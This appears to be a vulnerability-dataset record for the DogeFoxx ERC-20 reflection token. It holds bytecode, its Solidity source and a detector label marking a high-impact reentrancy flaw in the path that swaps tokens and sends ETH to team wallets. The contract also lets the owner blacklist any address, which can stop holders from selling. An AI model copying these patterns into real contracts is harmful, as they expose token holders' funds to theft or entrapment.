7600b54600d55600c54600e555b610a5c8484848461150f565b600081848411156112765760405162461bcd60e51b815260040161060f9190611ac5565b5060006112838486611d6b565b95945050505050565b6013546001600160a01b03166108fc6112a683600261153d565b6040518115909202916000818181858888f193505050501580156112ce573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112e983600261153d565b6040518115909202916000818181858888f19350505050158015610680573d6000803e3d6000fd5b60006006548211156113785760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161060f565b600061138261157f565b905061138e838261153d565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113dd576113dd611d0c565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611436573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061145a9190611d82565b8160018151811061146d5761146d611d0c565b6001600160a01b0392831660209182029290920101526015546114939130911684610b7b565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114cc908590600090869030904290600401611d9f565b600060405180830381600087803b1580156114e657600080fd5b505af11580156114fa573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b8061151c5761151c6115a2565b6115278484846115d0565b80610a5c57610a5c600f54600d55601054600e55565b600061138e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116c7565b600080600061158c6116f5565b909250905061159b828261153d565b9250505090565b600d541580156115b25750600e54155b156115b957565b600d8054600f55600e805460105560009182905555565b6000806000806000806115e287611735565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116149087611792565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461164390866117d4565b6001600160a01b03891660009081526002602052604090205561166581611833565b61166f848361187d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116b491815260200190565b60405180910390a3505050505050505050565b600081836116e85760405162461bcd60e51b815260040161060f9190611ac5565b5060006112838486611e10565b6006546000908190678ac7230489e80000611710828261153d565b82101561172c57505060065492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006117528a600d54600e546118a1565b925092509250600061176261157f565b905060008060006117758e8787876118f6565b919e509c509a509598509396509194505050505091939550919395565b600061138e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611252565b6000806117e18385611d53565b90508381101561138e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161060f565b600061183d61157f565b9050600061184b8383611946565b3060009081526002602052604090205490915061186890826117d4565b30600090815260026020526040902055505050565b60065461188a9083611792565b60065560075461189a90826117d4565b6007555050565b60008080806118bb60646118b58989611946565b9061153d565b905060006118ce60646118b58a89611946565b905060006118e6826118e08b86611792565b90611792565b9992985090965090945050505050565b60008080806119058886611946565b905060006119138887611946565b905060006119218888611946565b90506000611933826118e08686611792565b939b939a50919850919650505050505050565b60008261195557506000610695565b60006119618385611e32565b90508261196e8583611e10565b1461138e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161060f565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107df57600080fd5b80356119fb816119db565b919050565b60006020808385031215611a1357600080fd5b823567ffffffffffffffff80821115611a2b57600080fd5b818501915085601f830112611a3f57600080fd5b813581811115611a5157611a516119c5565b8060051b604051601f19603f83011681018181108582111715611a7657611a766119c5565b604052918252848201925083810185019188831115611a9457600080fd5b938501935b82851015611ab957611aaa856119f0565b84529385019392850192611a99565b98975050505050505050565b600060208083528351808285015260005b81811015611af257858101830151858201604001528201611ad6565b81811115611b04576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611b2d57600080fd5b8235611b38816119db565b946020939093013593505050565b600080600060608486031215611b5b57600080fd5b8335611b66816119db565b92506020840135611b76816119db565b929592945050506040919091013590565b600060208284031215611b9957600080fd5b813561138e816119db565b803580151581146119fb57600080fd5b600060208284031215611bc657600080fd5b61138e82611ba4565b600060208284031215611be157600080fd5b5035919050565b60008060008060808587031215611bfe57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611c2f57600080fd5b833567ffffffffffffffff80821115611c4757600080fd5b818601915086601f830112611c5b57600080fd5b813581811115611c6a57600080fd5b8760208260051b8501011115611c7f57600080fd5b602092830195509350611c959186019050611ba4565b90509250925092565b60008060408385031215611cb157600080fd5b8235611cbc816119db565b91506020830135611ccc816119db565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611d4c57611d4c611d22565b5060010190565b60008219821115611d6657611d66611d22565b500190565b600082821015611d7d57611d7d611d22565b500390565b600060208284031215611d9457600080fd5b815161138e816119db565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611def5784516001600160a01b031683529383019391830191600101611dca565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e2d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e4c57611e4c611d22565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202be00e10d6f2de6a2e0e296aad568165ea5b2ab0b97b755155a36e22bde92a2464736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,547 |
0x49f4f374d4c02df35e37c83fe0c3c91d4c6c43d5
|
/**
*Submitted for verification at Etherscan.io on 2021-06-11
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-10
*/
//DogeFoxx ($DFoxx)
//Limit Buy
//Cooldown
//Bot Protect
//Liqudity dev provides and lock
//TG: https://t.me/dogefoxx
//Twitter: https://twitter.com/DogeFoxx
//Website: TBA
//CG, CMC listing: Ongoing
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DogeFoxx is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "DogeFoxx";
string private constant _symbol = "DFoxx";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600881526020017f446f6765466f7878000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f44466f7878000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169